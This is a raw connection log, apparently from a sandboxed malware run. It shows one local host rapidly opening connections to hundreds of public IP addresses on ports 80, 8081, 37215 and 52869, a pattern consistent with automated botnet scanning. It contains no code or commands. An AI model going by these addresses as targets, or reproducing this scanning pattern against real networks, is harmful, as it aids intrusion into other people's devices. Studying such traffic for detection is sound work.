Jul 20, 2024 23:05:45.590507030 CEST	59274	80	192.168.2.13	95.244.225.178
Jul 20, 2024 23:05:45.590507984 CEST	45818	80	192.168.2.13	95.130.191.169
Jul 20, 2024 23:05:45.590507984 CEST	56722	80	192.168.2.13	95.15.65.159
Jul 20, 2024 23:05:45.590507984 CEST	43108	80	192.168.2.13	95.92.0.189
Jul 20, 2024 23:05:45.590507984 CEST	47084	80	192.168.2.13	95.163.228.59
Jul 20, 2024 23:05:45.591051102 CEST	51104	8081	192.168.2.13	204.238.227.79
Jul 20, 2024 23:05:45.591877937 CEST	21679	80	192.168.2.13	88.253.217.90
Jul 20, 2024 23:05:45.591877937 CEST	21679	80	192.168.2.13	88.116.65.222
Jul 20, 2024 23:05:45.591877937 CEST	21679	80	192.168.2.13	88.83.178.217
Jul 20, 2024 23:05:45.591877937 CEST	21679	80	192.168.2.13	88.94.8.235
Jul 20, 2024 23:05:45.591877937 CEST	21679	80	192.168.2.13	88.84.122.225
Jul 20, 2024 23:05:45.591877937 CEST	21679	80	192.168.2.13	88.23.6.120
Jul 20, 2024 23:05:45.591877937 CEST	21679	80	192.168.2.13	88.68.53.66
Jul 20, 2024 23:05:45.591877937 CEST	21679	80	192.168.2.13	88.218.166.48
Jul 20, 2024 23:05:45.592578888 CEST	38986	52869	192.168.2.13	185.61.229.112
Jul 20, 2024 23:05:45.594410896 CEST	49160	8081	192.168.2.13	222.36.209.242
Jul 20, 2024 23:05:45.594470978 CEST	55436	80	192.168.2.13	95.50.45.64
Jul 20, 2024 23:05:45.594470978 CEST	35528	80	192.168.2.13	95.124.107.190
Jul 20, 2024 23:05:45.594470978 CEST	58398	80	192.168.2.13	95.224.40.109
Jul 20, 2024 23:05:45.594470978 CEST	48386	80	192.168.2.13	95.158.64.25
Jul 20, 2024 23:05:45.594470978 CEST	43818	80	192.168.2.13	95.78.75.152
Jul 20, 2024 23:05:45.594471931 CEST	33906	80	192.168.2.13	95.39.245.20
Jul 20, 2024 23:05:45.594471931 CEST	57142	80	192.168.2.13	95.49.113.148
Jul 20, 2024 23:05:45.594471931 CEST	44142	80	192.168.2.13	95.76.135.22
Jul 20, 2024 23:05:45.595643044 CEST	21679	80	192.168.2.13	88.172.52.71
Jul 20, 2024 23:05:45.595643044 CEST	21679	80	192.168.2.13	88.178.28.212
Jul 20, 2024 23:05:45.595643044 CEST	21679	80	192.168.2.13	88.173.253.89
Jul 20, 2024 23:05:45.595643044 CEST	21679	80	192.168.2.13	88.41.207.242
Jul 20, 2024 23:05:45.595643044 CEST	21679	80	192.168.2.13	88.52.121.118
Jul 20, 2024 23:05:45.595643044 CEST	21679	80	192.168.2.13	88.106.63.81
Jul 20, 2024 23:05:45.595643044 CEST	60816	80	192.168.2.13	95.233.96.193
Jul 20, 2024 23:05:45.598115921 CEST	56136	80	192.168.2.13	95.221.171.64
Jul 20, 2024 23:05:45.598431110 CEST	60976	8081	192.168.2.13	87.218.183.140
Jul 20, 2024 23:05:45.598705053 CEST	21679	80	192.168.2.13	88.31.228.89
Jul 20, 2024 23:05:45.598705053 CEST	21679	80	192.168.2.13	88.52.138.143
Jul 20, 2024 23:05:45.598705053 CEST	21679	80	192.168.2.13	88.175.168.25
Jul 20, 2024 23:05:45.598705053 CEST	21679	80	192.168.2.13	88.124.41.38
Jul 20, 2024 23:05:45.598705053 CEST	21679	80	192.168.2.13	88.27.73.67
Jul 20, 2024 23:05:45.598705053 CEST	21679	80	192.168.2.13	88.35.159.179
Jul 20, 2024 23:05:45.598705053 CEST	21679	80	192.168.2.13	88.160.72.136
Jul 20, 2024 23:05:45.598706007 CEST	21679	80	192.168.2.13	88.216.198.129
Jul 20, 2024 23:05:45.599472046 CEST	58708	52869	192.168.2.13	46.81.190.204
Jul 20, 2024 23:05:45.600765944 CEST	21679	80	192.168.2.13	88.247.40.150
Jul 20, 2024 23:05:45.600765944 CEST	21679	80	192.168.2.13	88.107.51.109
Jul 20, 2024 23:05:45.600765944 CEST	21679	80	192.168.2.13	88.230.250.99
Jul 20, 2024 23:05:45.600765944 CEST	21679	80	192.168.2.13	88.139.163.212
Jul 20, 2024 23:05:45.600765944 CEST	21679	80	192.168.2.13	88.191.36.22
Jul 20, 2024 23:05:45.600765944 CEST	21679	80	192.168.2.13	88.88.252.243
Jul 20, 2024 23:05:45.600765944 CEST	21679	80	192.168.2.13	88.93.68.101
Jul 20, 2024 23:05:45.600765944 CEST	21679	80	192.168.2.13	88.78.143.228
Jul 20, 2024 23:05:45.601531029 CEST	21679	80	192.168.2.13	88.35.9.208
Jul 20, 2024 23:05:45.601531029 CEST	21679	80	192.168.2.13	88.251.249.192
Jul 20, 2024 23:05:45.601531029 CEST	21679	80	192.168.2.13	88.10.180.85
Jul 20, 2024 23:05:45.601531029 CEST	21679	80	192.168.2.13	88.65.19.237
Jul 20, 2024 23:05:45.601531029 CEST	21679	80	192.168.2.13	88.101.123.96
Jul 20, 2024 23:05:45.601531029 CEST	21679	80	192.168.2.13	88.204.228.12
Jul 20, 2024 23:05:45.601531029 CEST	21679	80	192.168.2.13	88.60.6.204
Jul 20, 2024 23:05:45.601531029 CEST	21679	80	192.168.2.13	88.235.63.26
Jul 20, 2024 23:05:45.602174044 CEST	36500	8081	192.168.2.13	204.114.132.223
Jul 20, 2024 23:05:45.602485895 CEST	60152	80	192.168.2.13	95.151.244.207
Jul 20, 2024 23:05:45.602545023 CEST	21679	80	192.168.2.13	88.151.16.178
Jul 20, 2024 23:05:45.602545023 CEST	21679	80	192.168.2.13	88.220.227.66
Jul 20, 2024 23:05:45.602545023 CEST	21679	80	192.168.2.13	88.14.125.80
Jul 20, 2024 23:05:45.602545023 CEST	21679	80	192.168.2.13	88.104.171.134
Jul 20, 2024 23:05:45.602545023 CEST	21679	80	192.168.2.13	88.250.229.106
Jul 20, 2024 23:05:45.604563951 CEST	47468	80	192.168.2.13	95.12.214.212
Jul 20, 2024 23:05:45.606245041 CEST	50094	52869	192.168.2.13	196.5.188.187
Jul 20, 2024 23:05:45.606340885 CEST	49596	8081	192.168.2.13	222.73.141.205
Jul 20, 2024 23:05:45.609466076 CEST	57202	37215	192.168.2.13	197.248.18.125
Jul 20, 2024 23:05:45.609466076 CEST	58920	37215	192.168.2.13	157.120.68.241
Jul 20, 2024 23:05:45.609466076 CEST	50576	80	192.168.2.13	95.12.52.181
Jul 20, 2024 23:05:45.609466076 CEST	50064	80	192.168.2.13	95.244.33.243
Jul 20, 2024 23:05:45.609466076 CEST	43796	80	192.168.2.13	95.68.157.52
Jul 20, 2024 23:05:45.609466076 CEST	47616	80	192.168.2.13	95.115.50.80
Jul 20, 2024 23:05:45.609466076 CEST	52192	80	192.168.2.13	95.71.68.243
Jul 20, 2024 23:05:45.609467030 CEST	56912	80	192.168.2.13	95.227.200.110
Jul 20, 2024 23:05:45.609771967 CEST	80	56812	95.5.44.224	192.168.2.13
Jul 20, 2024 23:05:45.609792948 CEST	80	43108	95.92.0.189	192.168.2.13
Jul 20, 2024 23:05:45.609805107 CEST	80	21679	88.173.253.89	192.168.2.13
Jul 20, 2024 23:05:45.609838963 CEST	80	59364	95.30.192.216	192.168.2.13
Jul 20, 2024 23:05:45.609842062 CEST	80	59364	95.30.192.216	192.168.2.13
Jul 20, 2024 23:05:45.609844923 CEST	80	45818	95.130.191.169	192.168.2.13
Jul 20, 2024 23:05:45.609854937 CEST	80	21679	88.123.15.16	192.168.2.13
Jul 20, 2024 23:05:45.609874010 CEST	80	55436	95.50.45.64	192.168.2.13
Jul 20, 2024 23:05:45.609904051 CEST	80	21679	88.136.82.128	192.168.2.13
Jul 20, 2024 23:05:45.609913111 CEST	59364	80	192.168.2.13	95.30.192.216
Jul 20, 2024 23:05:45.609913111 CEST	21679	80	192.168.2.13	88.123.15.16
Jul 20, 2024 23:05:45.609925032 CEST	80	33502	95.151.14.251	192.168.2.13
Jul 20, 2024 23:05:45.609927893 CEST	80	33502	95.151.14.251	192.168.2.13
Jul 20, 2024 23:05:45.609945059 CEST	80	48202	95.109.0.167	192.168.2.13
Jul 20, 2024 23:05:45.609958887 CEST	8081	38066	20.129.231.127	192.168.2.13
Jul 20, 2024 23:05:45.609973907 CEST	37215	44719	41.179.220.131	192.168.2.13
Jul 20, 2024 23:05:45.609989882 CEST	80	57844	95.221.74.36	192.168.2.13
Jul 20, 2024 23:05:45.609999895 CEST	21679	80	192.168.2.13	88.173.253.89
Jul 20, 2024 23:05:45.610004902 CEST	80	21679	88.36.117.89	192.168.2.13
Jul 20, 2024 23:05:45.610009909 CEST	80	48202	95.82.40.159	192.168.2.13
Jul 20, 2024 23:05:45.610079050 CEST	80	21679	88.82.171.72	192.168.2.13
Jul 20, 2024 23:05:45.610115051 CEST	80	48844	95.82.15.117	192.168.2.13
Jul 20, 2024 23:05:45.610117912 CEST	80	43100	95.50.4.30	192.168.2.13
Jul 20, 2024 23:05:45.610129118 CEST	80	43100	95.50.4.30	192.168.2.13
Jul 20, 2024 23:05:45.610146999 CEST	80	21679	88.90.9.100	192.168.2.13
Jul 20, 2024 23:05:45.610166073 CEST	80	21679	88.178.135.239	192.168.2.13
Jul 20, 2024 23:05:45.610184908 CEST	80	43292	95.62.175.224	192.168.2.13
Jul 20, 2024 23:05:45.610188007 CEST	80	32820	95.12.88.73	192.168.2.13
Jul 20, 2024 23:05:45.610193968 CEST	80	55870	95.91.176.183	192.168.2.13
Jul 20, 2024 23:05:45.610249996 CEST	80	57548	95.74.67.173	192.168.2.13
Jul 20, 2024 23:05:45.610253096 CEST	80	54016	95.214.250.8	192.168.2.13
Jul 20, 2024 23:05:45.610265970 CEST	37215	44719	197.8.101.74	192.168.2.13
Jul 20, 2024 23:05:45.610269070 CEST	80	40140	95.129.69.195	192.168.2.13
Jul 20, 2024 23:05:45.610280991 CEST	80	60812	95.247.168.194	192.168.2.13
Jul 20, 2024 23:05:45.610285997 CEST	80	51178	95.18.187.147	192.168.2.13
Jul 20, 2024 23:05:45.610308886 CEST	80	47360	95.8.43.97	192.168.2.13
Jul 20, 2024 23:05:45.610325098 CEST	80	56428	95.182.20.151	192.168.2.13
Jul 20, 2024 23:05:45.610341072 CEST	80	37556	95.122.50.119	192.168.2.13
Jul 20, 2024 23:05:45.610353947 CEST	80	21679	88.94.8.235	192.168.2.13
Jul 20, 2024 23:05:45.610356092 CEST	80	21679	88.84.122.225	192.168.2.13
Jul 20, 2024 23:05:45.610358953 CEST	80	57824	95.61.59.169	192.168.2.13
Jul 20, 2024 23:05:45.610369921 CEST	80	54012	95.65.111.176	192.168.2.13
Jul 20, 2024 23:05:45.610373974 CEST	80	34842	95.12.205.106	192.168.2.13
Jul 20, 2024 23:05:45.610384941 CEST	80	46396	95.30.65.188	192.168.2.13
Jul 20, 2024 23:05:45.610388994 CEST	80	53462	95.151.87.68	192.168.2.13
Jul 20, 2024 23:05:45.610404968 CEST	8081	58180	181.136.205.166	192.168.2.13
Jul 20, 2024 23:05:45.610407114 CEST	80	59754	95.174.198.161	192.168.2.13
Jul 20, 2024 23:05:45.610419035 CEST	80	21679	88.219.90.248	192.168.2.13
Jul 20, 2024 23:05:45.610421896 CEST	80	21679	88.228.94.152	192.168.2.13
Jul 20, 2024 23:05:45.610438108 CEST	80	21679	88.84.95.140	192.168.2.13
Jul 20, 2024 23:05:45.610440016 CEST	80	40692	95.0.24.197	192.168.2.13
Jul 20, 2024 23:05:45.610470057 CEST	80	21679	88.15.1.190	192.168.2.13
Jul 20, 2024 23:05:45.610475063 CEST	80	56130	95.4.226.114	192.168.2.13
Jul 20, 2024 23:05:45.610491991 CEST	80	21679	88.186.65.10	192.168.2.13
Jul 20, 2024 23:05:45.610508919 CEST	80	21679	88.24.181.235	192.168.2.13
Jul 20, 2024 23:05:45.610512018 CEST	80	47000	95.142.27.251	192.168.2.13
Jul 20, 2024 23:05:45.610512018 CEST	57844	80	192.168.2.13	95.221.74.36
Jul 20, 2024 23:05:45.610512018 CEST	21679	80	192.168.2.13	88.90.9.100
Jul 20, 2024 23:05:45.610513926 CEST	80	47000	95.142.27.251	192.168.2.13
Jul 20, 2024 23:05:45.610512018 CEST	21679	80	192.168.2.13	88.94.8.235
Jul 20, 2024 23:05:45.610512018 CEST	21679	80	192.168.2.13	88.84.122.225
Jul 20, 2024 23:05:45.610512018 CEST	21679	80	192.168.2.13	88.219.90.248
Jul 20, 2024 23:05:45.610526085 CEST	80	21679	88.190.206.212	192.168.2.13
Jul 20, 2024 23:05:45.610528946 CEST	80	21679	88.138.59.9	192.168.2.13
Jul 20, 2024 23:05:45.610541105 CEST	80	35968	95.194.121.234	192.168.2.13
Jul 20, 2024 23:05:45.610543966 CEST	80	35968	95.194.121.234	192.168.2.13
Jul 20, 2024 23:05:45.610554934 CEST	80	21679	88.127.15.137	192.168.2.13
Jul 20, 2024 23:05:45.610557079 CEST	21679	80	192.168.2.13	88.24.181.235
Jul 20, 2024 23:05:45.610559940 CEST	80	21679	88.91.80.40	192.168.2.13
Jul 20, 2024 23:05:45.610562086 CEST	80	21679	88.252.66.86	192.168.2.13
Jul 20, 2024 23:05:45.610568047 CEST	37215	44719	41.20.38.198	192.168.2.13
Jul 20, 2024 23:05:45.610570908 CEST	37215	44719	41.77.72.16	192.168.2.13
Jul 20, 2024 23:05:45.610574961 CEST	37215	44719	157.58.101.28	192.168.2.13
Jul 20, 2024 23:05:45.610577106 CEST	37215	44719	58.129.218.215	192.168.2.13
Jul 20, 2024 23:05:45.610583067 CEST	80	36566	95.86.136.151	192.168.2.13
Jul 20, 2024 23:05:45.610594034 CEST	37215	44719	157.58.40.144	192.168.2.13
Jul 20, 2024 23:05:45.610596895 CEST	37215	44719	41.216.241.38	192.168.2.13
Jul 20, 2024 23:05:45.610609055 CEST	37215	44719	197.78.210.146	192.168.2.13
Jul 20, 2024 23:05:45.610611916 CEST	37215	44719	41.240.223.62	192.168.2.13
Jul 20, 2024 23:05:45.610615015 CEST	37215	44719	157.79.134.144	192.168.2.13
Jul 20, 2024 23:05:45.610625982 CEST	37215	44719	41.101.126.87	192.168.2.13
Jul 20, 2024 23:05:45.610632896 CEST	37215	44719	157.242.112.76	192.168.2.13
Jul 20, 2024 23:05:45.610635042 CEST	37215	44719	41.176.36.1	192.168.2.13
Jul 20, 2024 23:05:45.610636950 CEST	37215	44719	17.95.13.37	192.168.2.13
Jul 20, 2024 23:05:45.610640049 CEST	80	21679	88.23.6.120	192.168.2.13
Jul 20, 2024 23:05:45.610665083 CEST	37215	44719	197.160.45.157	192.168.2.13
Jul 20, 2024 23:05:45.610677004 CEST	37215	44719	157.110.238.56	192.168.2.13
Jul 20, 2024 23:05:45.610680103 CEST	37215	44719	157.197.245.205	192.168.2.13
Jul 20, 2024 23:05:45.610693932 CEST	80	21679	88.34.50.1	192.168.2.13
Jul 20, 2024 23:05:45.610706091 CEST	37215	44719	88.75.242.7	192.168.2.13
Jul 20, 2024 23:05:45.610707998 CEST	37215	44719	197.87.113.51	192.168.2.13
Jul 20, 2024 23:05:45.610711098 CEST	37215	44719	41.215.191.111	192.168.2.13
Jul 20, 2024 23:05:45.610723972 CEST	80	21679	88.103.238.226	192.168.2.13
Jul 20, 2024 23:05:45.610760927 CEST	80	21679	88.39.210.181	192.168.2.13
Jul 20, 2024 23:05:45.610785007 CEST	80	21679	88.110.30.211	192.168.2.13
Jul 20, 2024 23:05:45.610790968 CEST	37215	48028	52.192.132.102	192.168.2.13
Jul 20, 2024 23:05:45.610795021 CEST	80	21679	88.129.77.23	192.168.2.13
Jul 20, 2024 23:05:45.610800028 CEST	80	21679	88.141.165.215	192.168.2.13
Jul 20, 2024 23:05:45.610816002 CEST	37215	60188	41.199.184.127	192.168.2.13
Jul 20, 2024 23:05:45.610822916 CEST	80	21679	88.53.231.168	192.168.2.13
Jul 20, 2024 23:05:45.610825062 CEST	80	21679	88.15.209.1	192.168.2.13
Jul 20, 2024 23:05:45.610827923 CEST	80	21679	88.187.148.24	192.168.2.13
Jul 20, 2024 23:05:45.610831022 CEST	80	36722	95.123.38.121	192.168.2.13
Jul 20, 2024 23:05:45.610842943 CEST	80	21679	88.212.189.105	192.168.2.13
Jul 20, 2024 23:05:45.610848904 CEST	80	38008	95.58.237.131	192.168.2.13
Jul 20, 2024 23:05:45.610871077 CEST	80	21679	88.41.157.182	192.168.2.13
Jul 20, 2024 23:05:45.610893011 CEST	80	21679	88.25.68.75	192.168.2.13
Jul 20, 2024 23:05:45.610904932 CEST	80	48438	95.202.16.5	192.168.2.13
Jul 20, 2024 23:05:45.610907078 CEST	80	21679	88.170.102.118	192.168.2.13
Jul 20, 2024 23:05:45.610922098 CEST	80	21679	88.40.14.232	192.168.2.13
Jul 20, 2024 23:05:45.610924006 CEST	80	21679	88.219.215.42	192.168.2.13
Jul 20, 2024 23:05:45.610928059 CEST	80	21679	88.108.216.133	192.168.2.13
Jul 20, 2024 23:05:45.610929966 CEST	80	21679	88.37.39.175	192.168.2.13
Jul 20, 2024 23:05:45.610940933 CEST	80	21679	88.79.126.132	192.168.2.13
Jul 20, 2024 23:05:45.610944033 CEST	80	21679	88.211.191.218	192.168.2.13
Jul 20, 2024 23:05:45.610945940 CEST	80	21679	88.98.186.154	192.168.2.13
Jul 20, 2024 23:05:45.610949039 CEST	80	21679	88.69.96.223	192.168.2.13
Jul 20, 2024 23:05:45.610960960 CEST	80	50968	95.114.134.52	192.168.2.13
Jul 20, 2024 23:05:45.610965967 CEST	80	21679	88.51.82.147	192.168.2.13
Jul 20, 2024 23:05:45.610968113 CEST	8081	51104	204.238.227.79	192.168.2.13
Jul 20, 2024 23:05:45.610979080 CEST	80	34258	95.89.249.69	192.168.2.13
Jul 20, 2024 23:05:45.610981941 CEST	80	21679	88.253.217.90	192.168.2.13
Jul 20, 2024 23:05:45.610992908 CEST	80	59274	95.244.225.178	192.168.2.13
Jul 20, 2024 23:05:45.610996008 CEST	80	21679	88.116.65.222	192.168.2.13
Jul 20, 2024 23:05:45.611006975 CEST	52869	38986	185.61.229.112	192.168.2.13
Jul 20, 2024 23:05:45.611008883 CEST	80	21679	88.83.178.217	192.168.2.13
Jul 20, 2024 23:05:45.611011028 CEST	21679	80	192.168.2.13	88.129.77.23
Jul 20, 2024 23:05:45.611011028 CEST	21679	80	192.168.2.13	88.41.157.182
Jul 20, 2024 23:05:45.611011028 CEST	21679	80	192.168.2.13	88.25.68.75
Jul 20, 2024 23:05:45.611011028 CEST	21679	80	192.168.2.13	88.37.39.175
Jul 20, 2024 23:05:45.611011028 CEST	21679	80	192.168.2.13	88.211.191.218
Jul 20, 2024 23:05:45.611011028 CEST	21679	80	192.168.2.13	88.69.96.223
Jul 20, 2024 23:05:45.611011028 CEST	51104	8081	192.168.2.13	204.238.227.79
Jul 20, 2024 23:05:45.611021042 CEST	80	56722	95.15.65.159	192.168.2.13
Jul 20, 2024 23:05:45.611023903 CEST	80	47084	95.163.228.59	192.168.2.13
Jul 20, 2024 23:05:45.611036062 CEST	8081	49160	222.36.209.242	192.168.2.13
Jul 20, 2024 23:05:45.611038923 CEST	80	21679	88.68.53.66	192.168.2.13
Jul 20, 2024 23:05:45.611049891 CEST	80	21679	88.218.166.48	192.168.2.13
Jul 20, 2024 23:05:45.611073017 CEST	80	35528	95.124.107.190	192.168.2.13
Jul 20, 2024 23:05:45.611074924 CEST	80	21679	88.172.52.71	192.168.2.13
Jul 20, 2024 23:05:45.611087084 CEST	80	58398	95.224.40.109	192.168.2.13
Jul 20, 2024 23:05:45.611088991 CEST	80	21679	88.178.28.212	192.168.2.13
Jul 20, 2024 23:05:45.611099958 CEST	80	48386	95.158.64.25	192.168.2.13
Jul 20, 2024 23:05:45.611107111 CEST	80	43818	95.78.75.152	192.168.2.13
Jul 20, 2024 23:05:45.611118078 CEST	80	21679	88.41.207.242	192.168.2.13
Jul 20, 2024 23:05:45.611120939 CEST	80	33906	95.39.245.20	192.168.2.13
Jul 20, 2024 23:05:45.611160040 CEST	80	21679	88.52.121.118	192.168.2.13
Jul 20, 2024 23:05:45.611174107 CEST	80	57142	95.49.113.148	192.168.2.13
Jul 20, 2024 23:05:45.611201048 CEST	80	56136	95.221.171.64	192.168.2.13
Jul 20, 2024 23:05:45.611208916 CEST	50656	80	192.168.2.13	95.203.152.93
Jul 20, 2024 23:05:45.611208916 CEST	50612	80	192.168.2.13	95.159.6.36
Jul 20, 2024 23:05:45.611208916 CEST	45752	80	192.168.2.13	95.243.177.188
Jul 20, 2024 23:05:45.611208916 CEST	42440	80	192.168.2.13	95.163.39.25
Jul 20, 2024 23:05:45.611208916 CEST	33496	80	192.168.2.13	95.14.252.121
Jul 20, 2024 23:05:45.611208916 CEST	39166	80	192.168.2.13	95.96.37.96
Jul 20, 2024 23:05:45.611208916 CEST	48478	80	192.168.2.13	95.169.39.23
Jul 20, 2024 23:05:45.611208916 CEST	41424	80	192.168.2.13	95.212.58.133
Jul 20, 2024 23:05:45.611215115 CEST	80	44142	95.76.135.22	192.168.2.13
Jul 20, 2024 23:05:45.611227989 CEST	8081	60976	87.218.183.140	192.168.2.13
Jul 20, 2024 23:05:45.611241102 CEST	80	21679	88.31.228.89	192.168.2.13
Jul 20, 2024 23:05:45.611252069 CEST	58180	8081	192.168.2.13	181.136.205.166
Jul 20, 2024 23:05:45.611254930 CEST	80	21679	88.106.63.81	192.168.2.13
Jul 20, 2024 23:05:45.611253023 CEST	60188	37215	192.168.2.13	41.199.184.127
Jul 20, 2024 23:05:45.611268044 CEST	80	21679	88.52.138.143	192.168.2.13
Jul 20, 2024 23:05:45.611279964 CEST	80	60816	95.233.96.193	192.168.2.13
Jul 20, 2024 23:05:45.611291885 CEST	52869	58708	46.81.190.204	192.168.2.13
Jul 20, 2024 23:05:45.611321926 CEST	80	21679	88.175.168.25	192.168.2.13
Jul 20, 2024 23:05:45.611335993 CEST	80	21679	88.124.41.38	192.168.2.13
Jul 20, 2024 23:05:45.611363888 CEST	80	21679	88.27.73.67	192.168.2.13
Jul 20, 2024 23:05:45.612452030 CEST	21679	80	192.168.2.13	88.136.82.128
Jul 20, 2024 23:05:45.612452030 CEST	38066	8081	192.168.2.13	20.129.231.127
Jul 20, 2024 23:05:45.612452030 CEST	21679	80	192.168.2.13	88.82.171.72
Jul 20, 2024 23:05:45.612690926 CEST	21679	80	192.168.2.13	88.36.117.89
Jul 20, 2024 23:05:45.612690926 CEST	21679	80	192.168.2.13	88.190.206.212
Jul 20, 2024 23:05:45.612690926 CEST	21679	80	192.168.2.13	88.127.15.137
Jul 20, 2024 23:05:45.612690926 CEST	21679	80	192.168.2.13	88.91.80.40
Jul 20, 2024 23:05:45.612690926 CEST	21679	80	192.168.2.13	88.103.238.226
Jul 20, 2024 23:05:45.612690926 CEST	21679	80	192.168.2.13	88.39.210.181
Jul 20, 2024 23:05:45.612692118 CEST	21679	80	192.168.2.13	88.110.30.211
Jul 20, 2024 23:05:45.613097906 CEST	80	21679	88.35.159.179	192.168.2.13
Jul 20, 2024 23:05:45.613116026 CEST	80	21679	88.160.72.136	192.168.2.13
Jul 20, 2024 23:05:45.613130093 CEST	80	21679	88.216.198.129	192.168.2.13
Jul 20, 2024 23:05:45.613411903 CEST	80	21679	88.247.40.150	192.168.2.13
Jul 20, 2024 23:05:45.613426924 CEST	80	21679	88.107.51.109	192.168.2.13
Jul 20, 2024 23:05:45.613456011 CEST	80	21679	88.230.250.99	192.168.2.13
Jul 20, 2024 23:05:45.613468885 CEST	80	21679	88.139.163.212	192.168.2.13
Jul 20, 2024 23:05:45.613481998 CEST	80	21679	88.191.36.22	192.168.2.13
Jul 20, 2024 23:05:45.613511086 CEST	80	21679	88.88.252.243	192.168.2.13
Jul 20, 2024 23:05:45.613524914 CEST	80	21679	88.93.68.101	192.168.2.13
Jul 20, 2024 23:05:45.613537073 CEST	80	21679	88.78.143.228	192.168.2.13
Jul 20, 2024 23:05:45.613569975 CEST	80	21679	88.35.9.208	192.168.2.13
Jul 20, 2024 23:05:45.613588095 CEST	80	21679	88.251.249.192	192.168.2.13
Jul 20, 2024 23:05:45.613616943 CEST	80	21679	88.10.180.85	192.168.2.13
Jul 20, 2024 23:05:45.613629103 CEST	80	21679	88.65.19.237	192.168.2.13
Jul 20, 2024 23:05:45.613641977 CEST	80	21679	88.101.123.96	192.168.2.13
Jul 20, 2024 23:05:45.613653898 CEST	80	21679	88.204.228.12	192.168.2.13
Jul 20, 2024 23:05:45.613666058 CEST	80	21679	88.60.6.204	192.168.2.13
Jul 20, 2024 23:05:45.613679886 CEST	8081	36500	204.114.132.223	192.168.2.13
Jul 20, 2024 23:05:45.613692999 CEST	80	21679	88.235.63.26	192.168.2.13
Jul 20, 2024 23:05:45.613706112 CEST	80	21679	88.151.16.178	192.168.2.13
Jul 20, 2024 23:05:45.613733053 CEST	80	21679	88.220.227.66	192.168.2.13
Jul 20, 2024 23:05:45.613746881 CEST	80	21679	88.14.125.80	192.168.2.13
Jul 20, 2024 23:05:45.613771915 CEST	80	21679	88.104.171.134	192.168.2.13
Jul 20, 2024 23:05:45.613800049 CEST	80	21679	88.250.229.106	192.168.2.13
Jul 20, 2024 23:05:45.613832951 CEST	80	47468	95.12.214.212	192.168.2.13
Jul 20, 2024 23:05:45.613874912 CEST	52869	50094	196.5.188.187	192.168.2.13
Jul 20, 2024 23:05:45.613888979 CEST	8081	49596	222.73.141.205	192.168.2.13
Jul 20, 2024 23:05:45.615375996 CEST	44719	37215	192.168.2.13	41.20.38.198
Jul 20, 2024 23:05:45.615375996 CEST	44719	37215	192.168.2.13	157.58.101.28
Jul 20, 2024 23:05:45.615376949 CEST	44719	37215	192.168.2.13	157.79.134.144
Jul 20, 2024 23:05:45.615376949 CEST	44719	37215	192.168.2.13	41.101.126.87
Jul 20, 2024 23:05:45.615376949 CEST	44719	37215	192.168.2.13	17.95.13.37
Jul 20, 2024 23:05:45.615376949 CEST	44719	37215	192.168.2.13	157.242.112.76
Jul 20, 2024 23:05:45.615376949 CEST	21679	80	192.168.2.13	88.23.6.120
Jul 20, 2024 23:05:45.615376949 CEST	44719	37215	192.168.2.13	157.197.245.205
Jul 20, 2024 23:05:45.616219044 CEST	39746	80	192.168.2.13	95.115.29.222
Jul 20, 2024 23:05:45.616219044 CEST	60152	80	192.168.2.13	95.151.244.207
Jul 20, 2024 23:05:45.616219044 CEST	21679	80	192.168.2.13	88.128.99.166
Jul 20, 2024 23:05:45.616219044 CEST	21679	80	192.168.2.13	88.85.135.18
Jul 20, 2024 23:05:45.616219044 CEST	21679	80	192.168.2.13	88.7.98.129
Jul 20, 2024 23:05:45.616219044 CEST	21679	80	192.168.2.13	88.91.61.153
Jul 20, 2024 23:05:45.616219044 CEST	21679	80	192.168.2.13	88.251.139.156
Jul 20, 2024 23:05:45.616219044 CEST	21679	80	192.168.2.13	88.3.70.116
Jul 20, 2024 23:05:45.616450071 CEST	56136	80	192.168.2.13	95.221.171.64
Jul 20, 2024 23:05:45.616450071 CEST	58708	52869	192.168.2.13	46.81.190.204
Jul 20, 2024 23:05:45.616450071 CEST	56812	80	192.168.2.13	95.5.44.224
Jul 20, 2024 23:05:45.617415905 CEST	37215	57202	197.248.18.125	192.168.2.13
Jul 20, 2024 23:05:45.617430925 CEST	37215	58920	157.120.68.241	192.168.2.13
Jul 20, 2024 23:05:45.617460012 CEST	80	50576	95.12.52.181	192.168.2.13
Jul 20, 2024 23:05:45.617650986 CEST	80	50064	95.244.33.243	192.168.2.13
Jul 20, 2024 23:05:45.617665052 CEST	80	43796	95.68.157.52	192.168.2.13
Jul 20, 2024 23:05:45.617679119 CEST	80	47616	95.115.50.80	192.168.2.13
Jul 20, 2024 23:05:45.617716074 CEST	80	52192	95.71.68.243	192.168.2.13
Jul 20, 2024 23:05:45.617731094 CEST	80	56912	95.227.200.110	192.168.2.13
Jul 20, 2024 23:05:45.617743969 CEST	80	50656	95.203.152.93	192.168.2.13
Jul 20, 2024 23:05:45.617896080 CEST	80	50612	95.159.6.36	192.168.2.13
Jul 20, 2024 23:05:45.619919062 CEST	80	45752	95.243.177.188	192.168.2.13
Jul 20, 2024 23:05:45.619925022 CEST	80	42440	95.163.39.25	192.168.2.13
Jul 20, 2024 23:05:45.619939089 CEST	80	33496	95.14.252.121	192.168.2.13
Jul 20, 2024 23:05:45.620497942 CEST	21679	80	192.168.2.13	88.34.50.1
Jul 20, 2024 23:05:45.620498896 CEST	44719	37215	192.168.2.13	41.215.191.111
Jul 20, 2024 23:05:45.620498896 CEST	48028	37215	192.168.2.13	52.192.132.102
Jul 20, 2024 23:05:45.620498896 CEST	48438	80	192.168.2.13	95.202.16.5
Jul 20, 2024 23:05:45.620498896 CEST	21679	80	192.168.2.13	88.170.102.118
Jul 20, 2024 23:05:45.620498896 CEST	21679	80	192.168.2.13	88.219.215.42
Jul 20, 2024 23:05:45.620498896 CEST	21679	80	192.168.2.13	88.108.216.133
Jul 20, 2024 23:05:45.620498896 CEST	21679	80	192.168.2.13	88.79.126.132
Jul 20, 2024 23:05:45.620752096 CEST	21679	80	192.168.2.13	88.178.135.239
Jul 20, 2024 23:05:45.620752096 CEST	59754	80	192.168.2.13	95.174.198.161
Jul 20, 2024 23:05:45.620752096 CEST	21679	80	192.168.2.13	88.228.94.152
Jul 20, 2024 23:05:45.620752096 CEST	21679	80	192.168.2.13	88.84.95.140
Jul 20, 2024 23:05:45.620752096 CEST	21679	80	192.168.2.13	88.15.1.190
Jul 20, 2024 23:05:45.620752096 CEST	21679	80	192.168.2.13	88.186.65.10
Jul 20, 2024 23:05:45.620752096 CEST	47000	80	192.168.2.13	95.142.27.251
Jul 20, 2024 23:05:45.620755911 CEST	21679	80	192.168.2.13	88.154.251.160
Jul 20, 2024 23:05:45.620755911 CEST	21679	80	192.168.2.13	88.79.235.113
